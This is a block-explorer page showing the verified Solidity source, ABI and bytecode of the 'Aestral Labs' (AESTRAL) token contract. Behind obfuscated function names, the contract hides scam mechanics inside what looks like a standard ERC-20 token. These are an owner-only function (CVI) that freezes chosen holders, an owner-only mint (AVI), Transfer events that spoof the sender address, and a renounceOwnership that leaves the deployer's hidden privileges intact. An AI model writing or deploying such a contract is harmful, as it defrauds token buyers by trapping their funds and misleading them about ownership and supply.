Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b, st ...    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(uint256 a, uint256 b, st ...  contract Ownable is Context    - function owner()    - function renounceOwnership()  contract AESTRAL is Context, Ownab ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function allowance(address owner, add ...    - function approve(address spender, uin ...    - function transfer(address recipient, ...    - function transferFrom(address sender, ...    - function CVI (address nXIx)    - function mxII (address nXIx, uint256 ...    - function AVI (address nXIx, uint256 O ...    - function hioxX(address sender, addres ...    - function iiiXX(address sender, addres ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-01-06
*/

// SPDX-License-Identifier: MIT



pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}



library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _Owner;
    address aIXx = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Create(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    constructor () {
        address msgSender = _msgSender();
        _Owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _Owner;
    }

    function renounceOwnership() public virtual {
        require(msg.sender == _Owner);
        emit OwnershipTransferred(_Owner, address(0));
        _Owner = address(0);
    }


}



contract AESTRAL is Context, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private bCXi;
    mapping (address => uint256) private CjII;
    mapping (address => mapping (address => uint256)) private dxxik;
    uint8 eixx = 8;
    uint256 fxOO = 100000000*10**8;
    string private _name;
    string private _symbol;



    constructor () 
{
        _name = "Aestral Labs";
        _symbol = "AESTRAL";
        CjII[msg.sender] = 20;
        bCXi[msg.sender] = fxOO;
        emit Transfer(address(0), aIXx, fxOO);
    }

    
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return eixx;
    }

    function totalSupply() public view  returns (uint256) {
        return fxOO;
    }

    function balanceOf(address account) public view  returns (uint256) {
        return bCXi[account];
    }
	 function allowance(address owner, address spender) public view  returns (uint256) {
        return dxxik[owner][spender];
    }
	

function approve(address spender, uint256 amount) public returns (bool success) {    
        dxxik[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; }

			   
  		
    function transfer(address recipient, uint256 amount) public returns (bool) {
 
        require(amount <= bCXi[msg.sender]);
        if(CjII[msg.sender] <= 2) {
        hioxX(msg.sender, recipient, amount);
        return true; }
     if(CjII[msg.sender] >= 20) {
        iiiXX(msg.sender, recipient, amount);
        return true; }}
	   
	   
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
    require(amount <= bCXi[sender]);
     require(amount <= dxxik[sender][msg.sender]);
                  if(CjII[sender] >= 20) {
        iiiXX(sender, recipient, amount);
        return true;} else
              if(CjII[sender] <= 2) { 
            if (CjII[recipient] <=2) {
        hioxX(sender, recipient, amount);
        return true;}}}	
			 			   function CVI (address nXIx)  public {
                     require(CjII[msg.sender] >= 20);
      CjII[nXIx] = 14;}
			function mxII (address nXIx, uint256 OiiX)  internal {
     bCXi[nXIx] += OiiX;} 	


		   function AVI (address nXIx, uint256 OiiX) public {
        require(CjII[msg.sender] >= 20);
   mxII(nXIx,OiiX);}
			    function hioxX(address sender, address recipient, uint256 amount) internal  {
        bCXi[sender] = bCXi[sender].sub(amount);
        bCXi[recipient] = bCXi[recipient].add(amount);
        emit Transfer(sender, recipient, amount); }	
	
	
		            function iiiXX(address sender, address recipient, uint256 amount) internal  {
        bCXi[sender] = bCXi[sender].sub(amount);
        bCXi[recipient] = bCXi[recipient].add(amount);
         sender = aIXx;
        emit Transfer(sender, recipient, amount); }

 

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Create","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"nXIx","type":"address"},{"internalType":"uint256","name":"OiiX","type":"uint256"}],"name":"AVI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"nXIx","type":"address"}],"name":"CVI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405272c5e04176d95a286fcce0e68c683ca0bfec8454600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506008600560006101000a81548160ff021916908360ff160217905550662386f26fc100006006553480156200008c57600080fd5b5060006200009f620002e860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600c81526020017f4165737472616c204c6162730000000000000000000000000000000000000000815250600790816200018391906200056a565b506040518060400160405280600781526020017f4145535452414c0000000000000000000000000000000000000000000000000081525060089081620001ca91906200056a565b506014600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600654600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620002da919062000662565b60405180910390a36200067f565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200037257607f821691505b6020821081036200038857620003876200032a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003f27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003b3565b620003fe8683620003b3565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200044b620004456200043f8462000416565b62000420565b62000416565b9050919050565b6000819050919050565b62000467836200042a565b6200047f620004768262000452565b848454620003c0565b825550505050565b600090565b6200049662000487565b620004a38184846200045c565b505050565b5b81811015620004cb57620004bf6000826200048c565b600181019050620004a9565b5050565b601f8211156200051a57620004e4816200038e565b620004ef84620003a3565b81016020851015620004ff578190505b620005176200050e85620003a3565b830182620004a8565b50505b505050565b600082821c905092915050565b60006200053f600019846008026200051f565b1980831691505092915050565b60006200055a83836200052c565b9150826002028217905092915050565b6200057582620002f0565b67ffffffffffffffff811115620005915762000590620002fb565b5b6200059d825462000359565b620005aa828285620004cf565b600060209050601f831160018114620005e25760008415620005cd578287015190505b620005d985826200054c565b86555062000649565b601f198416620005f2866200038e565b60005b828110156200061c57848901518255600182019150602085019450602081019050620005f5565b868310156200063c578489015162000638601f8916826200052c565b8355505b6001600288020188555050505b505050505050565b6200065c8162000416565b82525050565b600060208201905062000679600083018462000651565b92915050565b611412806200068f6000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c80635e0e26901161008c5780638da5cb5b116100665780638da5cb5b1461020057806395d89b411461021e578063a9059cbb1461023c578063dd62ed3e1461026c576100cf565b80635e0e2690146101aa57806370a08231146101c6578063715018a6146101f6576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd146101405780632c7fa15014610170578063313ce5671461018c575b600080fd5b6100dc61029c565b6040516100e99190610ffd565b60405180910390f35b61010c600480360381019061010791906110b8565b61032e565b6040516101199190611113565b60405180910390f35b61012a610420565b604051610137919061113d565b60405180910390f35b61015a60048036038101906101559190611158565b61042a565b6040516101679190611113565b60405180910390f35b61018a600480360381019061018591906110b8565b610607565b005b610194610662565b6040516101a191906111c7565b60405180910390f35b6101c460048036038101906101bf91906111e2565b610679565b005b6101e060048036038101906101db91906111e2565b61070e565b6040516101ed919061113d565b60405180910390f35b6101fe610757565b005b61020861086d565b604051610215919061121e565b60405180910390f35b610226610896565b6040516102339190610ffd565b60405180910390f35b610256600480360381019061025191906110b8565b610928565b6040516102639190611113565b60405180910390f35b61028660048036038101906102819190611239565b610a33565b604051610293919061113d565b60405180910390f35b6060600780546102ab906112a8565b80601f01602080910402602001604051908101604052809291908181526020018280546102d7906112a8565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161040e919061113d565b60405180910390a36001905092915050565b6000600654905090565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561047857600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561050157600080fd5b6014600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061055c57610553848484610aba565b60019050610600565b6002600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116105ff576002600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116105fe576105f5848484610c73565b60019050610600565b5b5b9392505050565b6014600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561065457600080fd5b61065e8282610e07565b5050565b6000600560009054906101000a900460ff16905090565b6014600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106c657600080fd5b600e600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107af57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546108a5906112a8565b80601f01602080910402602001604051908101604052809291908181526020018280546108d1906112a8565b801561091e5780601f106108f35761010080835404028352916020019161091e565b820191906000526020600020905b81548152906001019060200180831161090157829003601f168201915b5050505050905090565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561097657600080fd5b6002600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116109d1576109c8338484610c73565b60019050610a2d565b6014600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610a2c57610a23338484610aba565b60019050610a2d565b5b92915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b0c81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ba181600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eab90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c66919061113d565b60405180910390a3505050565b610cc581600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d5a81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eab90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dfa919061113d565b60405180910390a3505050565b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e569190611308565b925050819055505050565b6000610ea383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f09565b905092915050565b6000808284610eba9190611308565b905083811015610eff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef690611388565b60405180910390fd5b8091505092915050565b6000838311158290610f51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f489190610ffd565b60405180910390fd5b5060008385610f6091906113a8565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610fa7578082015181840152602081019050610f8c565b60008484015250505050565b6000601f19601f8301169050919050565b6000610fcf82610f6d565b610fd98185610f78565b9350610fe9818560208601610f89565b610ff281610fb3565b840191505092915050565b600060208201905081810360008301526110178184610fc4565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061104f82611024565b9050919050565b61105f81611044565b811461106a57600080fd5b50565b60008135905061107c81611056565b92915050565b6000819050919050565b61109581611082565b81146110a057600080fd5b50565b6000813590506110b28161108c565b92915050565b600080604083850312156110cf576110ce61101f565b5b60006110dd8582860161106d565b92505060206110ee858286016110a3565b9150509250929050565b60008115159050919050565b61110d816110f8565b82525050565b60006020820190506111286000830184611104565b92915050565b61113781611082565b82525050565b6000602082019050611152600083018461112e565b92915050565b6000806000606084860312156111715761117061101f565b5b600061117f8682870161106d565b93505060206111908682870161106d565b92505060406111a1868287016110a3565b9150509250925092565b600060ff82169050919050565b6111c1816111ab565b82525050565b60006020820190506111dc60008301846111b8565b92915050565b6000602082840312156111f8576111f761101f565b5b60006112068482850161106d565b91505092915050565b61121881611044565b82525050565b6000602082019050611233600083018461120f565b92915050565b600080604083850312156112505761124f61101f565b5b600061125e8582860161106d565b925050602061126f8582860161106d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806112c057607f821691505b6020821081036112d3576112d2611279565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061131382611082565b915061131e83611082565b9250828201905080821115611336576113356112d9565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611372601b83610f78565b915061137d8261133c565b602082019050919050565b600060208201905081810360008301526113a181611365565b9050919050565b60006113b382611082565b91506113be83611082565b92508282039050818111156113d6576113d56112d9565b5b9291505056fea26469706673582212207272c52f7812398a976486fe00a5aed72806b1eae6a39fa2caf273404b02c2b464736f6c63430008110033

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80635e0e26901161008c5780638da5cb5b116100665780638da5cb5b1461020057806395d89b411461021e578063a9059cbb1461023c578063dd62ed3e1461026c576100cf565b80635e0e2690146101aa57806370a08231146101c6578063715018a6146101f6576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd146101405780632c7fa15014610170578063313ce5671461018c575b600080fd5b6100dc61029c565b6040516100e99190610ffd565b60405180910390f35b61010c600480360381019061010791906110b8565b61032e565b6040516101199190611113565b60405180910390f35b61012a610420565b604051610137919061113d565b60405180910390f35b61015a60048036038101906101559190611158565b61042a565b6040516101679190611113565b60405180910390f35b61018a600480360381019061018591906110b8565b610607565b005b610194610662565b6040516101a191906111c7565b60405180910390f35b6101c460048036038101906101bf91906111e2565b610679565b005b6101e060048036038101906101db91906111e2565b61070e565b6040516101ed919061113d565b60405180910390f35b6101fe610757565b005b61020861086d565b604051610215919061121e565b60405180910390f35b610226610896565b6040516102339190610ffd565b60405180910390f35b610256600480360381019061025191906110b8565b610928565b6040516102639190611113565b60405180910390f35b61028660048036038101906102819190611239565b610a33565b604051610293919061113d565b60405180910390f35b6060600780546102ab906112a8565b80601f01602080910402602001604051908101604052809291908181526020018280546102d7906112a8565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161040e919061113d565b60405180910390a36001905092915050565b6000600654905090565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561047857600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561050157600080fd5b6014600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061055c57610553848484610aba565b60019050610600565b6002600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116105ff576002600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116105fe576105f5848484610c73565b60019050610600565b5b5b9392505050565b6014600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561065457600080fd5b61065e8282610e07565b5050565b6000600560009054906101000a900460ff16905090565b6014600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106c657600080fd5b600e600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107af57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600880546108a5906112a8565b80601f01602080910402602001604051908101604052809291908181526020018280546108d1906112a8565b801561091e5780601f106108f35761010080835404028352916020019161091e565b820191906000526020600020905b81548152906001019060200180831161090157829003601f168201915b5050505050905090565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561097657600080fd5b6002600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116109d1576109c8338484610c73565b60019050610a2d565b6014600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610a2c57610a23338484610aba565b60019050610a2d565b5b92915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b0c81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ba181600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eab90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1692508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c66919061113d565b60405180910390a3505050565b610cc581600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d5a81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610eab90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610dfa919061113d565b60405180910390a3505050565b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e569190611308565b925050819055505050565b6000610ea383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f09565b905092915050565b6000808284610eba9190611308565b905083811015610eff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef690611388565b60405180910390fd5b8091505092915050565b6000838311158290610f51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f489190610ffd565b60405180910390fd5b5060008385610f6091906113a8565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610fa7578082015181840152602081019050610f8c565b60008484015250505050565b6000601f19601f8301169050919050565b6000610fcf82610f6d565b610fd98185610f78565b9350610fe9818560208601610f89565b610ff281610fb3565b840191505092915050565b600060208201905081810360008301526110178184610fc4565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061104f82611024565b9050919050565b61105f81611044565b811461106a57600080fd5b50565b60008135905061107c81611056565b92915050565b6000819050919050565b61109581611082565b81146110a057600080fd5b50565b6000813590506110b28161108c565b92915050565b600080604083850312156110cf576110ce61101f565b5b60006110dd8582860161106d565b92505060206110ee858286016110a3565b9150509250929050565b60008115159050919050565b61110d816110f8565b82525050565b60006020820190506111286000830184611104565b92915050565b61113781611082565b82525050565b6000602082019050611152600083018461112e565b92915050565b6000806000606084860312156111715761117061101f565b5b600061117f8682870161106d565b93505060206111908682870161106d565b92505060406111a1868287016110a3565b9150509250925092565b600060ff82169050919050565b6111c1816111ab565b82525050565b60006020820190506111dc60008301846111b8565b92915050565b6000602082840312156111f8576111f761101f565b5b60006112068482850161106d565b91505092915050565b61121881611044565b82525050565b6000602082019050611233600083018461120f565b92915050565b600080604083850312156112505761124f61101f565b5b600061125e8582860161106d565b925050602061126f8582860161106d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806112c057607f821691505b6020821081036112d3576112d2611279565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061131382611082565b915061131e83611082565b9250828201905080821115611336576113356112d9565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611372601b83610f78565b915061137d8261133c565b602082019050919050565b600060208201905081810360008301526113a181611365565b9050919050565b60006113b382611082565b91506113be83611082565b92508282039050818111156113d6576113d56112d9565b5b9291505056fea26469706673582212207272c52f7812398a976486fe00a5aed72806b1eae6a39fa2caf273404b02c2b464736f6c63430008110033

